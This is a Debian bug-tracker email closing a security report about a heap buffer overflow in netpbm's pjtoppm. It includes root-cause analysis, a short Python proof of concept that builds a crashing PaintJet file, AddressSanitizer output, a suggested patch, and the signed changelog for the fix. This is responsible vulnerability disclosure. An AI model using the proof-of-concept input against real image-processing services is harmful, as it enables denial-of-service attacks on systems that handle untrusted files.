Your message dated Mon, 09 Nov 2026 18:06:59 +0000
with message-id <[email protected]>
and subject line Bug#1140183: fixed in netpbm-free 2:11.16.02+ds-1
has caused the Debian Bug report #1140183,
regarding netpbm: heap buffer overflow in pjtoppm via unbounded "Position Y"
order (CWE-122)
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact [email protected]
immediately.)
--
1140183: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1140183
Debian Bug Tracking System
Contact [email protected] with problems
--- Begin Message ---
Package: netpbm
Version: 2:11.13.03+ds-2
Severity: High
Tags: security patch
Dear Maintainer,
pjtoppm (/usr/bin/pjtoppm) contains a heap-based buffer overflow
(CWE-122 / CWE-787) reachable from a single untrusted input file, with no
authentication or user interaction. The stock shipped binary crashes
with SIGSEGV; AddressSanitizer confirms an out-of-bounds heap write.
Root cause
----------
pjtoppm keeps two heap arrays, image (unsigned char **) and imlen (int *),
sized rowsX * planes entries and grown with REALLOCARRAY as raster rows
arrive (converter/ppm/pjtoppm.c:274-275). The PaintJet "Position Y" order
(ESC * p <n> Y) sets the current row to an attacker-supplied value and
zero-initialises every intermediate row WITHOUT checking that value
against the allocated row count rowsX:
case 'Y':
if (buffer[0] == '+') val = row + val;
if (buffer[0] == '-') val = row - val;
for (; val > row; ++row)
for (plane = 0; plane < 3; ++plane) {
imlen[row * planes + plane] = 0; /* line 321: OOB write
*/
image[row * planes + plane] = NULL; /* line 322: OOB write
*/
}
row = val;
'val' is fully attacker-controlled. When val > rowsX, every write past
rowsX*planes is out of bounds, and the out-of-bounds extent is
attacker-controlled (proportional to val). The 'V'/'W' raster path is
hardened (uintProduct() overflow check and the row > UINT_MAX/planes-100
guard at line 295) but this Position path has no equivalent check.
Proof of concept
----------------
A 29-byte file:
python3 -c '
ESC = b"\033"
out = ESC + b"*b1M" # transmission mode 1
out += ESC + b"*r100S" # raster width = 100
out += ESC + b"*b2W" + b"\xff\xff" # alloc image/imlen for
rowsX(100)*planes(3); row -> 1
out += ESC + b"*p100000Y" # Position Y = 100000 -> OOB writes
past the 300-entry arrays
open("poc_pjtoppm.pj","wb").write(out)'
$ pjtoppm poc_pjtoppm.pj > /dev/null
Segmentation fault (exit 139 / SIGSEGV)
Under AddressSanitizer:
==ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 4 at 0x... thread T0
#0 main converter/ppm/pjtoppm.c:321
0x... is located 0 bytes after 1200-byte region (100 rows * 3 planes *
4 bytes)
allocated by reallocProduct mallocvar.h:101 <- main pjtoppm.c:275
SUMMARY: AddressSanitizer: heap-buffer-overflow
converter/ppm/pjtoppm.c:321 in main
Impact
------
Unauthenticated heap out-of-bounds write triggered by a single malicious
PaintJet file. Any service/pipeline that runs pjtoppm on untrusted input
is affected. The overflow is on the heap, so stack canaries and
_FORTIFY_SOURCE do not mitigate it; DoS against the stock binary is
confirmed. The out-of-bounds extent is attacker-controlled, though the
written value is constrained to 0/NULL.
Suggested fix
-------------
Bound the Position target against rowsX (or grow the arrays to fit, like
the V/W path) before the zero-initialisation loop, and reject negative
val after the +/- adjustment:
case 'Y':
if (buffer[0] == '+') val = row + val;
if (buffer[0] == '-') val = row - val;
if (val < 0)
pm_error("invalid Y position");
while ((unsigned)val > rowsX) {
overflow_add(rowsX, 100);
rowsX += 100;
REALLOCARRAY(image, uintProduct(rowsX, planes));
REALLOCARRAY(imlen, uintProduct(rowsX, planes));
if (image == NULL || imlen == NULL)
pm_error("out of memory");
}
for (; val > row; ++row)
for (plane = 0; plane < 3; ++plane) {
imlen[row * planes + plane] = 0;
image[row * planes + plane] = NULL;
}
row = val;
break;
Notes
-----
The bug is present and reproducible in the current shipped version
2:11.13.03+ds-2.
I am happy to help validate a fix and to coordinate CVE assignment.
Regards,
Maram Sai Harsha Vardhan Reddy
Security Researcher
[email protected]
make_poc.py
Description: Binary data
poc_pjtoppm.pj
Description: Binary data
--- End Message ---
--- Begin Message ---
Source: netpbm-free
Source-Version: 2:11.16.02+ds-1
Done: Andreas Metzler <[email protected]>
We believe that the bug you reported is fixed in the latest version of
netpbm-free, which is due to be installed in the Debian FTP archive.
A summary of the changes between this version and the previous one is
attached.
Thank you for reporting the bug, which will now be closed. If you
have further comments please address them to [email protected],
and the maintainer will reopen the bug report if appropriate.
Debian distribution maintenance software
pp.
Andreas Metzler <[email protected]> (supplier of updated netpbm-free package)
(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing [email protected])
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Format: 1.8
Date: Mon, 09 Nov 2026 18:23:47 +0100
Source: netpbm-free
Architecture: source
Version: 2:11.16.02+ds-1
Distribution: experimental
Urgency: medium
Maintainer: Debian PhotoTools Maintainers
<[email protected]>
Changed-By: Andreas Metzler <[email protected]>
Closes: 1140183
Changes:
netpbm-free (2:11.16.02+ds-1) experimental; urgency=medium
.
* New upstream bugfix release.
+ Fixes heap buffer overflow in pjtoppm. (Closes: #1140183)
+ Also fixes these issues:
CVE-2026-120431 - sgitopnm: buffer overrun when the RLE offset table
gives invalidly long data for a line
CVE-2026-120432 - winicontopam: arithmetic overflow with large images,
leading to out-of-bounds memory access and infinite loops.
CVE-2026-120435 - xpmtoppm: buffer overruns with an invalid
characters-per-pixel value.
CVE-2026-120436 - jbigtopnm: arithmetic overflow / buffer overrun with a
very large input image.
CVE-2026-120437 - tgatoppm: buffer overrun with corrupted Targa input;
invalid color indexes are now rejected
* refresh patches
* Drop orphaned patch file.
* Update symbol file for new upstream.
* Try to fix pnmhisteq testsuite error by updating the reference.
Checksums-Sha1:
fe55a7f8a4fd8b5fc5732be935ba43e1098c8836 2625 netpbm-free_11.16.02+ds-1.dsc
64fe4a18d671af175ec3f14436c12ebaeeee1998 1526228
netpbm-free_11.16.02+ds.orig-userguide.tar.xz
e38d75d159b0b72dd188d94c055b96ef1788c50d 2200480
netpbm-free_11.16.02+ds.orig.tar.xz
f2559863e30b2c8fe952e4d462cb071f2f18e23b 36776
netpbm-free_11.16.02+ds-1.debian.tar.xz
c8bbd1ab12851fe1ad8485ef3467b47045b0669f 8115
netpbm-free_11.16.02+ds-1_source.buildinfo
Checksums-Sha256:
909c1365479f4d7414ceac08d5a5a4af2af0b5652ab80626ce11461299c04277 2625
netpbm-free_11.16.02+ds-1.dsc
ab5df8819aa4d3b3b118be96660c65e7a01bb9f6d453d706e4921703e043f677 1526228
netpbm-free_11.16.02+ds.orig-userguide.tar.xz
8940db43e4527cc6ce64497a91b280a10f5340bb95ee492442fefc57aff1e0b1 2200480
netpbm-free_11.16.02+ds.orig.tar.xz
c9ec334bb170901583a106399549144a7108e357e0cbd97b40f6f0528c3d50bc 36776
netpbm-free_11.16.02+ds-1.debian.tar.xz
cc428375e2153185e0849d5d71700026bb7c0eea873f79785610b86c0e6dbfc9 8115
netpbm-free_11.16.02+ds-1_source.buildinfo
Files:
f05edcae8770c73f77ae97d7688fc087 2625 graphics optional
netpbm-free_11.16.02+ds-1.dsc
4c55186d58b8a9b19bb3e1b0a17798a6 1526228 graphics optional
netpbm-free_11.16.02+ds.orig-userguide.tar.xz
4b836994209765f47b34afb4847468f2 2200480 graphics optional
netpbm-free_11.16.02+ds.orig.tar.xz
11e104217b2cef70551f2d07019025e7 36776 graphics optional
netpbm-free_11.16.02+ds-1.debian.tar.xz
f9e3eef4b3b9a502f8799032627945a5 8115 graphics optional
netpbm-free_11.16.02+ds-1_source.buildinfo
-----BEGIN PGP SIGNATURE-----
iQIzBAEBCgAdFiEE0uCSA5741Jbt9PpepU8BhUOCFIQFAmryA+MACgkQpU8BhUOC
FISmvg/+PPMcgh/mzucU0SZGHb/AQo6FTyEWc+7UeWvPpagIiOSIAM4Exby7rxT9
NPCFpb07pDgQL9+VnTMJc0Ixfs09p8xFbxytYiksaDMelbwbLrFoM4Mj4iFHLu9M
8oXl8T7DPRvll8QgplF2y5fqA4sBNTPb4dT07s0t89Net8p7k/mkZkpqrgNYZHtp
qdn+dpF9ZjeZrlJESnAQnz51V1N1lFlTnMuSM+es01+grLjOSWGXG3r3b7FPWsJT
F5OcVmW+aHpFoYJbyFbhvlJkgwXCgILGN82PuTUM4+IhCam9VH6v8m9jz19tnnhd
gfIGrl3wOL6ZVnq0UobbF97LjkfA1/Ppx0Gsnz42aYG/8nvgHzZpSe1UiFA1O0bP
sJtaJxsasrtm1g78iIrD9H0xir/DKbqQs/PyxGfDhsTe7z3Zl5tPjOL66S17po82
GyEiRz+OHrSY+ezkDdedlWAVfq97dsqJNIR/0ubwuo0o3gDoWeuo3fpGsw5+xZ/m
7pQuP56cLiaZehQzjPWXqvhBV7jPXBZWgoBgRnqo812bcKhrHNHx6D3HBJUX6Yy4
E1FrKrIHHk6pB306OOM3OyZnViX6edFC8fRoKLoSJY1hG2lQAizYbbRoNTmeSuBX
2gpD8IoCLavCGNNLrUhe9l8tKLq9RxqdpatxbpuA/0S++8uaiXc=
=0Br6
-----END PGP SIGNATURE-----
pgpN0xMsKJU08.pgp
Description: PGP signature
--- End Message ---
